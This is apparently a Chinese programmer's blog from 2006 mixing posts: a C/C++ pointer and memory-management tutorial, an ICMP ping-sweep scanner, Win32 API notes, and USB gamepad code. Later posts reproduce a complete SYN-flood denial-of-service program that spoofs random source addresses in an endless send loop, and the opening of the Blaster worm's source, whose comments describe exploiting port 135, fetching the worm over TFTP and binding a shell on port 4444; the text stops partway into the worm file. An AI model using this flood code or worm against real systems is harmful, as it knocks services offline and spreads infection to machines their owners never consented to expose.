     示例3.3(a) 计算数组和指针的内存容量
 
void Func(char a[100])
{
 cout<< sizeof(a) << endl; // 4字节而不是100字节
}
     示例3.3(b) 数组退化为指针
 
4、指针参数是如何传递内存的
如果函数的参数是一个指针,不要指望用该指针去申请动态内存。示例7-4-1中,Test函数的语句GetMemory(str, 200)并没有使str获得期望的内存,str依旧是NULL,为什么?
void GetMemory(char *p, int num)
{
 p = (char *)malloc(sizeof(char) * num);
}
void Test(void)
{
 char *str = NULL;
 GetMemory(str, 100); // str 仍然为 NULL
 strcpy(str, "hello"); // 运行错误
}
      示例4.1 试图用指针参数申请动态内存
 
毛病出在函数GetMemory中。编译器总是要为函数的每个参数制作临时副本,指针参数p的副本是 _p,编译器使 _p = p。如果函数体内的程序修改了_p的内容,就导致参数p的内容作相应的修改。这就是指针可以用作输出参数的原因。在本例中,_p申请了新的内存,只是把 _p所指的内存地址改变了,但是p丝毫未变。所以函数GetMemory并不能输出任何东西。事实上,每执行一次GetMemory就会泄露一块内存,因为没有用free释放内存。

  如果非得要用指针参数去申请内存,那么应该改用“指向指针的指针”,见示例4.2。
void GetMemory2(char **p, int num)
{
 *p = (char *)malloc(sizeof(char) * num);
}
void Test2(void)
{
 char *str = NULL;
 GetMemory2(&str, 100); // 注意参数是 &str,而不是str
 strcpy(str, "hello");
 cout<< str << endl;
 free(str);
}
      示例4.2用指向指针的指针申请动态内存
 
 
由于“指向指针的指针”这个概念不容易理解,我们可以用函数返回值来传递动态内存。这种方法更加简单,见示例4.3。

char *GetMemory3(int num)
{
 char *p = (char *)malloc(sizeof(char) * num);
 return p;
}
void Test3(void)
{
 char *str = NULL;
 str = GetMemory3(100);
 strcpy(str, "hello");
 cout<< str << endl;
 free(str);
}
       示例4.3 用函数返回值来传递动态内存
 
用函数返回值来传递动态内存这种方法虽然好用,但是常常有人把return语句用错了。这里强调不要用return语句返回指向“栈内存”的指针,因为该内存在函数结束时自动消亡,见示例4.4。
 
char *GetString(void)
{
 char p[] = "hello world";
 return p; // 编译器将提出警告
}
void Test4(void)
{
 char *str = NULL;
 str = GetString(); // str 的内容是垃圾
 cout<< str << endl;
}
      示例4.4 return语句返回指向“栈内存”的指针
 
 
用调试器逐步跟踪Test4,发现执行str = GetString语句后str不再是NULL指针,但是str的内容不是“hello world”而是垃圾。
如果把示例4.4改写成示例4.5,会怎么样?

char *GetString2(void)
{
 char *p = "hello world";
 return p;
}
void Test5(void)
{
 char *str = NULL;
 str = GetString2();
 cout<< str << endl;
}
     示例4.5 return语句返回常量字符串



  函数Test5运行虽然不会出错,但是函数GetString2的设计概念却是错误的。因为GetString2内的“hello world”是常量字符串,位于静态存储区,它在程序生命期内恒定不变。无论什么时候调用GetString2,它返回的始终是同一个“只读”的内存块。
 
5、杜绝野指针
 
“野指针”不是NULL指针,是指向“垃圾”内存的指针。人们一般不会错用NULL指针,因为用if语句很容易判断。但是“野指针”是很危险的,if语句对它不起作用。 “野指针”的成因主要有两种:

  (1)指针变量没有被初始化。任何指针变量刚被创建时不会自动成为NULL指针,它的缺省值是随机的,它会乱指一气。所以,指针变量在创建的同时应当被初始化,要么将指针设置为NULL,要么让它指向合法的内存。例如


char *p = NULL;
char *str = (char *) malloc(100);


  (2)指针p被free或者delete之后,没有置为NULL,让人误以为p是个合法的指针。

  (3)指针操作超越了变量的作用范围。这种情况让人防不胜防,示例程序如下:

class A
{
 public:
  void Func(void){ cout << “Func of class A” << endl; }
};
void Test(void)
{
 A *p;
 {
  A a;
  p = &a; // 注意 a 的生命期
 }
 p->Func(); // p是“野指针”
}



  函数Test在执行语句p->Func()时,对象a已经消失,而p是指向a的,所以p就成了“野指针”。但奇怪的是我运行这个程序时居然没有出错,这可能与编译器有关。

6、有了malloc/free为什么还要new/delete

  malloc与free是C++/C语言的标准库函数,new/delete是C++的运算符。它们都可用于申请动态内存和释放内存。

  对于非内部数据类型的对象而言,光用maloc/free无法满足动态对象的要求。对象在创建的同时要自动执行构造函数,对象在消亡之前要自动执行析构函数。由于malloc/free是库函数而不是运算符,不在编译器控制权限之内,不能够把执行构造函数和析构函数的任务强加于malloc/free。

  因此C++语言需要一个能完成动态内存分配和初始化工作的运算符new,以及一个能完成清理与释放内存工作的运算符delete。注意 new/delete不是库函数。我们先看一看malloc/free和new/delete如何实现对象的动态内存管理,见示例6。


class Obj
{
 public :
  Obj(void){ cout << “Initialization” << endl; }
  ~Obj(void){ cout << “Destroy” << endl; }
  void Initialize(void){ cout << “Initialization” << endl; }
  void Destroy(void){ cout << “Destroy” << endl; }
};
void UseMallocFree(void)
{
 Obj *a = (obj *)malloc(sizeof(obj)); // 申请动态内存
 a->Initialize(); // 初始化
 //…
 a->Destroy(); // 清除工作
 free(a); // 释放内存
}
void UseNewDelete(void)
{
 Obj *a = new Obj; // 申请动态内存并且初始化
 //…
 delete a; // 清除并且释放内存
}
     示例6 用malloc/free和new/delete如何实现对象的动态内存管理


  类Obj的函数Initialize模拟了构造函数的功能,函数Destroy模拟了析构函数的功能。函数UseMallocFree中,由于 malloc/free不能执行构造函数与析构函数,必须调用成员函数Initialize和Destroy来完成初始化与清除工作。函数 UseNewDelete则简单得多。

  所以我们不要企图用malloc/free来完成动态对象的内存管理,应该用new/delete。由于内部数据类型的“对象”没有构造与析构的过程,对它们而言malloc/free和new/delete是等价的。

  既然new/delete的功能完全覆盖了malloc/free,为什么C++不把malloc/free淘汰出局呢?这是因为C++程序经常要调用C函数,而C程序只能用malloc/free管理动态内存。
如果用free释放“new创建的动态对象”,那么该对象因无法执行析构函数而可能导致程序出错。如果用delete释放“malloc申请的动态内存”,理论上讲程序不会出错,但是该程序的可读性很差。所以new/delete必须配对使用,malloc/free也一样。
7、内存耗尽怎么办?
如果在申请动态内存时找不到足够大的内存块,malloc和new将返回NULL指针,宣告内存申请失败。通常有三种方式处理“内存耗尽”问题。
(1)判断指针是否为NULL,如果是则马上用return语句终止本函数。例如:
void Func(void)
{
 A *a = new A;
 if(a == NULL)
 {
  return;
 }
 …
}

(2)判断指针是否为NULL,如果是则马上用exit(1)终止整个程序的运行。例如:
void Func(void)
{
 A *a = new A;
 if(a == NULL)
 {
  cout << “Memory Exhausted” << endl;
  exit(1);
 }
 …
}
 
 
(3)为new和malloc设置异常处理函数。例如Visual C++可以用_set_new_hander函数为new设置用户自己定义的异常处理函数,也可以让malloc享用与new相同的异常处理函数。详细内容请参考C++使用手册。

  上述(1)(2)方式使用最普遍。如果一个函数内有多处需要申请动态内存,那么方式(1)就显得力不从心(释放内存很麻烦),应该用方式(2)来处理。

  很多人不忍心用exit(1),问:“不编写出错处理程序,让操作系统自己解决行不行?”

  不行。如果发生“内存耗尽”这样的事情,一般说来应用程序已经无药可救。如果不用exit(1) 把坏程序杀死,它可能会害死操作系统。道理如同:如果不把歹徒击毙,歹徒在老死之前会犯下更多的罪。

  有一个很重要的现象要告诉大家。对于32位以上的应用程序而言,无论怎样使用malloc与new,几乎不可能导致“内存耗尽”。我在Windows 98下用Visual C++编写了测试程序,见示例7。这个程序会无休止地运行下去,根本不会终止。因为32位操作系统支持“虚存”,内存用完了,自动用硬盘空间顶替。我只听到硬盘嘎吱嘎吱地响,Window 98已经累得对键盘、鼠标毫无反应。

  我可以得出这么一个结论:对于32位以上的应用程序,“内存耗尽”错误处理程序毫无用处。这下可把Unix和Windows程序员们乐坏了:反正错误处理程序不起作用,我就不写了,省了很多麻烦。

  我不想误导读者,必须强调:不加错误处理将导致程序的质量很差,千万不可因小失大。
void main(void)
{
 float *p = NULL;
 while(TRUE)
 {
  p = new float[1000000];
  cout << “eat memory” << endl;
  if(p==NULL)
   exit(1);
 }
}

  示例7试图耗尽操作系统的内存
 
8、malloc/free 的使用要点

  函数malloc的原型如下:


void * malloc(size_t size);


  用malloc申请一块长度为length的整数类型的内存,程序如下:


int *p = (int *) malloc(sizeof(int) * length);


  我们应当把注意力集中在两个要素上:“类型转换”和“sizeof”。

  * malloc返回值的类型是void *,所以在调用malloc时要显式地进行类型转换,将void * 转换成所需要的指针类型。

  * malloc函数本身并不识别要申请的内存是什么类型,它只关心内存的总字节数。我们通常记不住int, float等数据类型的变量的确切字节数。例如int变量在16位系统下是2个字节,在32位下是4个字节;而float变量在16位系统下是4个字节,在32位下也是4个字节。最好用以下程序作一次测试:


cout << sizeof(char) << endl;
cout << sizeof(int) << endl;
cout << sizeof(unsigned int) << endl;
cout << sizeof(long) << endl;
cout << sizeof(unsigned long) << endl;
cout << sizeof(float) << endl;
cout << sizeof(double) << endl;
cout << sizeof(void *) << endl;


  在malloc的“()”中使用sizeof运算符是良好的风格,但要当心有时我们会昏了头,写出 p = malloc(sizeof(p))这样的程序来。

  * 函数free的原型如下:


void free( void * memblock );


  为什么free 函数不象malloc函数那样复杂呢?这是因为指针p的类型以及它所指的内存的容量事先都是知道的,语句free(p)能正确地释放内存。如果p是 NULL指针,那么free对p无论操作多少次都不会出问题。如果p不是NULL指针,那么free对p连续操作两次就会导致程序运行错误。

9new/delete 的使用要点
  运算符new使用起来要比函数malloc简单得多,例如:


int *p1 = (int *)malloc(sizeof(int) * length);
int *p2 = new int[length];


  这是因为new内置了sizeof、类型转换和类型安全检查功能。对于非内部数据类型的对象而言,new在创建动态对象的同时完成了初始化工作。如果对象有多个构造函数,那么new的语句也可以有多种形式。例如


class Obj
{
 public :
  Obj(void); // 无参数的构造函数
  Obj(int x); // 带一个参数的构造函数
  …
}
void Test(void)
{
 Obj *a = new Obj;
 Obj *b = new Obj(1); // 初值为1
 …
 delete a;
 delete b;
}


  如果用new创建对象数组,那么只能使用对象的无参数构造函数。例如


Obj *objects = new Obj[100]; // 创建100个动态对象
  不能写成
Obj *objects = new Obj[100](1);// 创建100个动态对象的同时赋初值1

  在用delete释放对象数组时,留意不要丢了符号‘[]’。例如


delete []objects; // 正确的用法
delete objects; // 错误的用法


  后者相当于delete objects[0],漏掉了另外99个对象。

10、一些心得体会
我认识不少技术不错的C++/C程序员,很少有人能拍拍胸脯说通晓指针与内存管理(包括我自己)。我最初学习C语言时特别怕指针,导致我开发第一个应用软件(约1万行C代码)时没有使用一个指针,全用数组来顶替指针,实在蠢笨得过分。躲避指针不是办法,后来我改写了这个软件,代码量缩小到原先的一半。
  我的经验教训是:
(1)越是怕指针,就越要使用指针。不会正确使用指针,肯定算不上是合格的程序员。
(2)必须养成“使用调试器逐步跟踪程序”的习惯,只有这样才能发现问题的本质。

- 作者: shmilylff 2006年05月29日, 星期一 19:58  回复(2) |  引用(3) 加入博采

写给土匪的Ping500个IP

土匪在论坛说他要9秒才ping完500个ip,我觉得奇怪,于是说5秒足以。然后补充了一句:‘大牛1秒就够了’。于是他让我写一个看看。我就写了。估计目前1000ip也就是2秒吧。哈哈,我也成大牛了。
写的很乱,是拉vckbase的一个Xping修改的,就利用了一个线程技术。一共2个线程,一个发送,一个接收。代码没有整理纯粹是为了掩ping扫描的。中间有不少bug。需要用的小心。
点击下载全部代码 这里特别鸣谢玻璃提供的空间。

我知道的bug有:
1、可以接收到你没有ping的机器的信息。这个是因为我监听的时候没有区分是不是自己发送的。如果你需要,就自己添加好了。 :P
2、我没有判断起始地址信息。也就说你的起始地址可以比结束地址大。不过没有效果。哈哈。暂时不算bug。
3、我还没有想到呢。
4、一个不好的地方,就是在线程中向窗体写东西。呵呵。01说要用消息才正规。不过我这里是演示。就不那么麻烦了 :P
5、全局变量较多。很乱。
6、没有对ping进行封装。
7、命名不规范。
8、没有注释。 奇怪,我怎么忘了写注释了。
9、没有写谁写的。 哎,版权阿!555555    哈哈,其实我在开心的哭。为啥?因为如果让别人知道我写这么烂的代码,肯定那刀过来坎我。斑竹也会封我的id的。 :P
10、不是吧,还想要,难道是批斗大会?

优点:
1、可以在5秒内扫描完500ip。满足了土匪的要求。 开心。 :D
2、。。。。。。没有了。

对忘了贴核心代码了。哈哈。不知道能不能放到vckbase的代码库中。。。。做梦ing。
DWORD WINAPI CPing500IPDlg::ThreadPing(LPVOID lpParam )
{
    CPing500IPDlg* tmpThis = (CPing500IPDlg*)lpParam;

    struct sockaddr_in from;  

    char recv_buffer[512];
    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

    struct sockaddr_in local;
    local.sin_family=AF_INET;
    local.sin_addr.s_addr=INADDR_ANY; ///本机

    bind(sockfd,(struct sockaddr*)&local,sizeof local);

    int timeout = 1000;
    if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO , (char *) &timeout,
        sizeof(timeout)) == SOCKET_ERROR)
    {
        return false;
    }   
    while(1)
    {
        int fromlen = sizeof(from);
        memset(&from, 0, fromlen);
        memset(recv_buffer, 0, 512);   
        int iRecvSize = recvfrom(sockfd, recv_buffer, 512, 0,
            (struct sockaddr*)&from,  &fromlen);

        if(iRecvSize > 0)
        {
            CString tmp  = inet_ntoa(from.sin_addr);
            EnterCriticalSection(&critical_Section);        
            if(!gListIPFind(tmp))
            {
                gListIP.push_back(tmp);
                tmpThis->m_IPAddrList.InsertItem(0, tmp);
            }
            LeaveCriticalSection(&critical_Section);
        }   
        else if(iRecvSize == WSAETIMEDOUT)
        {
            tmpThis->MessageBox("ok了");
        }
    }
 
    closesocket(sockfd);
    return 0;
}


void CPing500IPDlg::SendICMP(const ULONG& lIPAddr)
{
    int iIcmpDataSize = 0;
    struct sockaddr_in dest;
    unsigned int addr = 0;
    char buffer[512];
 
    memset(&dest, 0, sizeof dest);
    dest.sin_family = AF_INET;
    addr = htonl(lIPAddr);
    if ((addr == INADDR_NONE))
    {
        return ;
    }
    dest.sin_addr.s_addr = addr;

    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

    int timeout = 500;
    if (setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout,
        sizeof(timeout)) == SOCKET_ERROR)
    {
        return ;
    }
    memset(buffer, 0, 512);
    fill_IcmpData(buffer, iIcmpDataSize);
    fill_IcmpHeader(buffer, iIcmpDataSize);
    XIcmpHeader *icmp_hdr = (XIcmpHeader *)buffer;
    sendto(sockfd, buffer, sizeof(XIcmpHeader) + iIcmpDataSize,
             0, (struct sockaddr*)&dest, sizeof(dest));

    closesocket(sockfd);
}

- 作者: shmilylff 2006年05月10日, 星期三 21:12  回复(0) |  引用(3) 加入博采

已锁定
摘要:值得一看的网络监控程序 查看全文

- 作者: shmilylff 2006年05月10日, 星期三 17:05  回复(0) |  引用(3) 加入博采

GetDIBits

GetDIBits

The GetDIBits function retrieves the bits of the specified bitmap and copies them into a buffer using the specified format.

int GetDIBits(
  HDC hdc,           // handle to DC
  HBITMAP hbmp,      // handle to bitmap
  UINT uStartScan,   // first scan line to set
  UINT cScanLines,   // number of scan lines to copy
  LPVOID lpvBits,    // array for bitmap bits
  LPBITMAPINFO lpbi, // bitmap data buffer
  UINT uUsage        // RGB or palette index
);

Parameters

hdc
[in] Handle to the device context.
hbmp
[in] Handle to the bitmap.
uStartScan
[in] Specifies the first scan line to retrieve.
cScanLines
[in] Specifies the number of scan lines to retrieve.
lpvBits
[out] Pointer to a buffer to receive the bitmap data. If this parameter is NULL, the function passes the dimensions and format of the bitmap to the BITMAPINFO structure pointed to by the lpbi parameter.
lpbi
[in/out] Pointer to a BITMAPINFO structure that specifies the desired format for the DIB data.
uUsage
[in] Specifies the format of the bmiColors member of the BITMAPINFO structure. It must be one of the following values.
ValueMeaning
DIB_PAL_COLORSThe color table should consist of an array of 16-bit indexes into the current logical palette.
DIB_RGB_COLORSThe color table should consist of literal red, green, blue (RGB) values.

Return Values

If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap.

Windows 95/98: If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is the total number of scan lines in the bitmap.

Windows NT/ 2000: If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero.

If the function fails, the return value is zero.

Windows NT/ 2000: To get extended error information, call GetLastError. This can be the following value.

ValueMeaning
ERROR_INVALID_PARAMETEROne or more input parameters is invalid.

Remarks

If the requested format for the DIB matches its internal format, the RGB values for the bitmap are copied. If the requested format doesn't match the internal format, a color table is synthesized. The following table describes the color table synthesized for each format.

ValueMeaning
1_BPPThe color table consists of a black and a white entry.
4_BPPThe color table consists of a mix of colors identical to the standard VGA palette.
8_BPPThe color table consists of a general mix of 256 colors defined by GDI. (Included in these 256 colors are the 20 colors found in the default logical palette.)
24_BPPNo color table is returned.

If the lpvBits parameter is a valid pointer, the first six members of the BITMAPINFOHEADER structure must be initialized to specify the size and format of the DIB. The scan lines must be aligned on a DWORD except for RLE compressed bitmaps.

A bottom-up DIB is specified by setting the height to a positive number, while a top-down DIB is specified by setting the height to a negative number. The bitmap's color table will be appended to the BITMAPINFO structure.

If lpvBits is NULL, GetDIBits examines the first member of the first structure pointed to by lpbi. This member must specify the size, in bytes, of a BITMAPCOREHEADER or a BITMAPINFOHEADER structure. The function uses the specified size to determine how the remaining members should be initialized.

If lpvBits is NULL and the bit count member of BITMAPINFO is initialized to zero, GetDIBits fills in a BITMAPINFOHEADER structure or BITMAPCOREHEADER without the color table. This technique can be used to query bitmap attributes.

The bitmap identified by the hbmp parameter must not be selected into a device context when the application calls this function.

The origin for a bottom-up DIB is the lower-left corner of the bitmap; the origin for a top-down DIB is the upper-left corner.

Requirements

  Windows NT/2000: Requires Windows NT 3.1 or later.
  Windows 95/98: Requires Windows 95 or later.
  Header: Declared in Wingdi.h; include Windows.h.

- 作者: shmilylff 2006年05月8日, 星期一 21:50  回复(0) |  引用(3) 加入博采

RegisterServiceProcess
函数状态: 正式函数 ,建设者:zhaoyao73 ,最新更新时间: 2001-9-22 16:20:09 修改该函数


函数功能描述:RegisterServiceProcess函数注册或者取消一个进程为服务。当用户注销之后,服务进程仍可运行。

函数原型:
DWORD RegisterServiceProcess(
  DWORD dwProcessId,  
  DWORD dwType        
);

参数:
dwProcessId
   指定注册为服务的进程标识(Id),当前进程可以用NULL。
dwType
   指明是注册服务还是取消服务,可以是下面的值之一。
   值   意义
   0    取消服务
   1    注册进程为服务

返回值:
   如果函数调用成功,返回值为1,任何错误都将返回0。

注释:
   为了调用RegisterServiceProcess,应该用函数GetProcAddress从KERNEL32.DLL中得到它的函数指针,然后用函数指针调用 RegisterServiceProcess。

示例代码:

   调用KERNEL32.DLL中的RegisterServiceProcess(仅在Windows98中适用)
   
   HMODULE hModule=GetModuleHandle("kernel32.dll");
   if (hModule)
   {
      typedef DWORD (CALLBACK *LPFNREGISTER)(DWORD,DWORD);
      LPFNREGISTER lpfnRegister;
      lpfnRegister=(LPFNREGISTER)GetProcAddress(hModule,"RegisterServiceProcess");
      if (lpfnRegister)
      {
         (*lpfnRegister)(NULL,1L);   
      }
   }   
根据MSDN:Wednesday, March 29, 2000

注:只适合于Windows9X系统

- 作者: shmilylff 2006年05月8日, 星期一 18:01  回复(0) |  引用(3) 加入博采

获取游戏手柄的按键输入

//可以查看按游戏手柄按钮时的情况.

//USB接口的游戏手柄

//编译环境:Windows 2000 server+VC++ 6.0+Win2K DDK

#include <stdio.h>
#include <windows.h>
#include <setupapi.h>
#include <tchar.h>
extern "C"
{
#include <hidsdi.h>
}

void main()
{
 GUID HidGuid;

 // 查找本系统中HID类的GUID标识
 HidD_GetHidGuid(&HidGuid);
 _tprintf("系统中HID类的GUID标识为:%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",
   HidGuid.Data1,HidGuid.Data2 ,HidGuid.Data3 ,
   HidGuid.Data4[0],HidGuid.Data4[1],HidGuid.Data4[2],
   HidGuid.Data4[3],HidGuid.Data4[4],HidGuid.Data4[5],
   HidGuid.Data4[6],HidGuid.Data4[7]);
 
 // 准备查找符合HID规范的USB设备
 HDEVINFO hDevInfo = SetupDiGetClassDevs(&HidGuid,
           NULL,
           NULL,
           DIGCF_PRESENT | DIGCF_DEVICEINTERFACE);
 if (hDevInfo == INVALID_HANDLE_VALUE)
 {
  _tprintf("符合HID规范的USB设备发生错误\n");
  return;
 }

 _tprintf("正在查找可用的USB设备...\n");

 DWORD MemberIndex = 0;
 SP_DEVICE_INTERFACE_DATA DeviceInterfaceData;
 BOOL bSuccess = FALSE;

 DeviceInterfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
 do
 {
  bSuccess = SetupDiEnumDeviceInterfaces(hDevInfo,
             NULL,
            &nsp;&HidGuid,
             MemberIndex,
             &DeviceInterfaceData);
  if ((!bSuccess) && (GetLastError() == ERROR_NO_MORE_ITEMS))
  {
   if(MemberIndex == 0)
    _tprintf("抱歉,未找到可用的USB设备!\n");
   else
    _tprintf("没有更多的可用的USB设备!\n");

   SetupDiDestroyDeviceInfoList(hDevInfo);
   return;
  }
  _tprintf("找到了一个USB设备:\n");
  //若找到了一个USB设备,则获取该设备的细节信息
  PSP_DEVICE_INTERFACE_DETAIL_DATA pDeviceInterfaceDetailData;
  DWORD Length = 0;
  
  SetupDiGetDeviceInterfaceDetail(hDevInfo,
          &DeviceInterfaceData,
          NULL,
          0,
          &Length,
          NULL);
  pDeviceInterfaceDetailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)malloc(Length);
  pDeviceInterfaceDetailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);  //MUST BE!!!

  if (!SetupDiGetDeviceInterfaceDetail(hDevInfo,
          &DeviceInterfaceData,
          pDeviceInterfaceDetailData,
          Length,
          NULL,
          NULL))
   _tprintf("查找路径设备时出错!\n");
  else
   _tprintf("设备路径:%s\n",pDeviceInterfaceDetailData->DevicePath );
  
  //打开设备句柄
  HANDLE hDeviceHandle = CreateFile(pDeviceInterfaceDetailData->DevicePath ,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            0,
            NULL);
  if (hDeviceHandle == INVALID_HANDLE_VALUE)
   _tprintf("打开设备路径出错!\n");
  else
  {
   HIDD_ATTRIBUTES Attributes;
   HidD_GetAttributes(hDeviceHandle,&Attributes);
   //将有关该设备的标识显示出来
   _tprintf("供应商ID\t:0X%04X\n",Attributes.VendorID);
   _tprintf("产品ID\t:0X%04X\n",Attributes.ProductID);
   _tprintf("产品版本号:0X%04X\n",Attributes.VersionNumber);
   
   WCHAR mString[256];
   TCHAR Buffer[256];

   HidD_GetManufacturerString(hDeviceHandle,mString,sizeof(mString));
   if (wcstombs(Buffer,mString,256) == -1)  // fail
    Buffer[0] = NULL;
   _tprintf("生产商:\t%s\n",Buffer);
   
   HidD_GetProductString(hDeviceHandle,mString,sizeof(mString));
   if (wcstombs(Buffer,mString,256) == -1)
    Buffer[0] = NULL;
   _tprintf("产品名称:\t%s\n",Buffer);

   // 通信:
   PHIDP_PREPARSED_DATA pHidpPreparsedData;
   HIDP_CAPS    hidPCaps;
   if (!HidD_GetPreparsedData(hDeviceHandle,&pHidpPreparsedData))
   {
    _tprintf("获取 HID PREPARED DATA 失败!\n");
    return;
   }
   NTSTATUS status = HidP_GetCaps(pHidpPreparsedData,&hidPCaps);
   if (status == HIDP_STATUS_SUCCESS)
   {
    _tprintf("CAP信息如下:\n");
    _tprintf("     InputReportByteLength %d\n", hidPCaps.InputReportByteLength);
    _tprintf("     OutputReportByteLength %d\n", hidPCaps.OutputReportByteLength);
   }
   DWORD nReadBytes = 0;
   BYTE *pInputReport = new BYTE[hidPCaps.InputReportByteLength];
   memset(pInputReport,0,hidPCaps.InputReportByteLength);
   
   do
   {
    ReadFile(hDeviceHandle,pInputReport,hidPCaps.InputReportByteLength,&nReadBytes,NULL);
    if (hidPCaps.InputReportByteLength == nReadBytes)
    {
     for(unsigned int i=0; i<(nReadBytes-1);i++)
      _tprintf("%02x-",pInputReport[i]);
     _tprintf("%02x\r",pInputReport[nReadBytes-1]);
    }
    if (pInputReport[nReadBytes-2] == 0x20)  //break the loop when pressing a specific key
    {
     _tprintf("\n");
     break;
    }
    Sleep(10);
   }while(hidPCaps.InputReportByteLength == nReadBytes);

   //释放句柄资源
   CloseHandle(hDeviceHandle);
  }
    
  MemberIndex++;
 }while(bSuccess);

 SetupDiDestroyDeviceInfoList(hDevInfo);
}

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=15608

- 作者: shmilylff 2006年05月7日, 星期日 16:32  回复(0) |  引用(0) 加入博采

DoS攻击源代码
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int DESTPORT;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc != 3)
{
fprintf(stderr,"Usage:dos host port.\n");
exit(1);
}
DESTPORT = atoi(argv[2]);
printf("no is attacking host %s with port %d..\n",argv[1],DESTPORT);
//printf("ok started!\n");
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());

/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}

/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
int i;
struct tcphdr *tcp;
int head_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;


/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

- 作者: shmilylff 2006年05月7日, 星期日 00:06  回复(0) |  引用(3) 加入博采

冲击波原代码

Blaster
Worm for Windows
blaster.cpp
--------------------------------------------------------------------------------

#include <winsock2.h>
#include <ws2tcpip.h> /*IP_HDRINCL*/
#include <wininet.h> /*InternetGetConnectedState*/
#include <stdio.h>

#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")


/*
* These strings aren't used in the worm, Buford put them here
* so that whitehat researchers would discover them.
* BUFORD: Note that both of these messages are the typical
* behavior of a teenager who recently discovered love, and
* is in the normal teenage mode of challenging authority.
*/
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";


/*
* Buford probably put the worm name as a "define" at the top
* of his program so that he could change the name at any time.
* 2003-09-29: This is the string that Parson changed.
*/
#define MSBLAST_EXE "msblast.exe"

/*
* MS-RPC/DCOM runs over port 135.
* DEFENSE: firewalling port 135 will prevent systems from
* being exploited and will hinder the spread of this worm.
*/
#define MSRCP_PORT_135 135

/*
* The TFTP protocol is defined to run on port 69. Once this
* worm breaks into a victim, it will command it to download
* the worm via TFTP. Therefore, the worms briefly runs a
* TFTP service to deliver that file.
* DEFENSE: firewalling 69/udp will prevent the worm from
* fully infected a host.
*/
#define TFTP_PORT_69 69

/*
* The shell-prompt is established over port 4444. The
* exploit code (in the variable 'sc') commands the victim
* to "bind a shell" on this port. The exploit then connects
* to that port to send commands, such as TFTPing the
* msblast.exe file down and launching it.
* DEFENSE: firewalling 4444/tcp will prevent the worm from
* spreading.
*/
#define SHELL_PORT_4444 4444


/*
* A simple string to hold the current IP address
*/
char target_ip_string[16];

/*
* A global variable to hold the socket for the TFTP service.
*/
int fd_tftp_service;

/*
